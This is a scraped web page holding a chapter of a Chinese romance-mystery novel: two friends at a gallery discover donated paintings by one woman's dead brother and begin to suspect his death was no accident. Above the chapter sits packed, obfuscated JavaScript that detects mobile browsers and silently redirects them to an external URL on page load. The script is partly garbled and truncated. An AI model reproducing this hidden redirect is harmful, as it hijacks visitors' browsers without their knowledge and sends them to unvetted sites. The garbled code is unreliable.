;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14494914|153320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以如果对象不是郁闻哥的话,是周锦陆也不错。” 郁央更惊讶了,甚至还有些哭笑不得:“你居然真的在打我哥的主意。” “你哥是郁氏少东家,我哪里配得上呀,也就想想咯。”赵珞琪耸肩,然后坦白道,“小时候还是很喜欢的,懂事后知道不可能了,就收敛了,渐渐转变成了欣赏与憧憬吧。” 郁央暗叹:居然还有这一条线。 一切和她的认知不大相同,于是她不确定地问道:“高中时,我是感觉到了你很在意锦陆,所以那是喜欢吗?” 赵珞琪说:“或许是吧。我对周锦陆是我未婚夫这一事实的接受速度比我想得都快,可能是本身就有好感,只是平时没注意,后来想到婚约这事,自然而然就会更亲近他,产生感情了。” “但锦陆显然没这样的接受能力。” “那是他的事。”赵珞琪平静地说,“他说着不愿意和我结婚,却并不敢为此和家里人闹翻,其实本身已经作出了选择,只是他自己闹情绪而已。” 郁央由衷道:“珞琪,你很清醒。” 赵珞琪笑了:“清醒的沉沦罢了,只是为了让我逆来顺受、循规蹈矩的时候不那么难受而已。但是,安安,你不仅很冷静理性,还很勇敢大胆,这一点是我从小都很佩服你的。” 郁央自嘲道:“哪有你说的这么夸张,我不清醒不勇敢的时候,都没有让你们看到而已。” “那下次让我们看看吧。” “再说吧。” 原本展览是按艺术家创作的阶段,分了四个展区。但当两人走到尽头的时候,郁央发现居然还有一个小展区。 似乎是临时布置的,还有细节没有完成。这里摆放的作品依然以油画为主,风格却与前面几个展区的作品大不一样,纵使色彩鲜艳,却散发出一种阴郁的气质,明显是出自另外一个人之手。 其中画幅最大的是一幅木板油画,画着的是一座海岛的火山爆发景象,火山口崩裂的熔岩红艳夺目,中间混着零星的冷色,是已经冷却发灰的岩浆。 郁央正在疑惑着,抬眼就看到展板上的一处介绍,写着“郁闻先生作品展”几个大字,登时怔住了。 赵珞琪等她发现后,才开始陈述:“不久前,画廊收到一批私人作品捐赠,是代存机构送来的,上面写的捐赠者,是郁闻哥。” 郁央睫毛轻颤,眼眸睁大。 赵珞琪像是预料到了她的反应,继续说道:“机构还转交了一封手写信,我打开了,确实是郁闻哥的笔迹,是他写给我的。他在开头写,按照时间算,这个时候我应该怎么都已经接手‘呓语’了,所以他在保守估计后选择了这个时间点,让代存机构按时捐赠过来,希望我能找一个角落展出这些作品,然后通知你来看。” 郁央望着满墙的收藏,近乎喃喃地说:“我都不知道这件事,我以为家里的那些已经是全部……哥哥的信,我可以看吗?” “当然可以,但信的内容非常简短,在写了这个后,就只是又写了点客套的祝福,一页纸都不到。” 郁央点头:“是他的风格。” 简单又温柔,亲近又疏离。 又听赵珞琪说:“收到这些藏品和这封信后,我既震惊又感动,正想和你说,就发现有点不对劲。” “什么不对劲?”郁央看向好友。 赵珞琪与她对视,眼底是探究与疑惑:“郁闻哥去世七年了,信的落款就是他去世前一个月,他为什么要给这些画提前安排去处?” “安安,郁闻哥真的是意外去世的吗”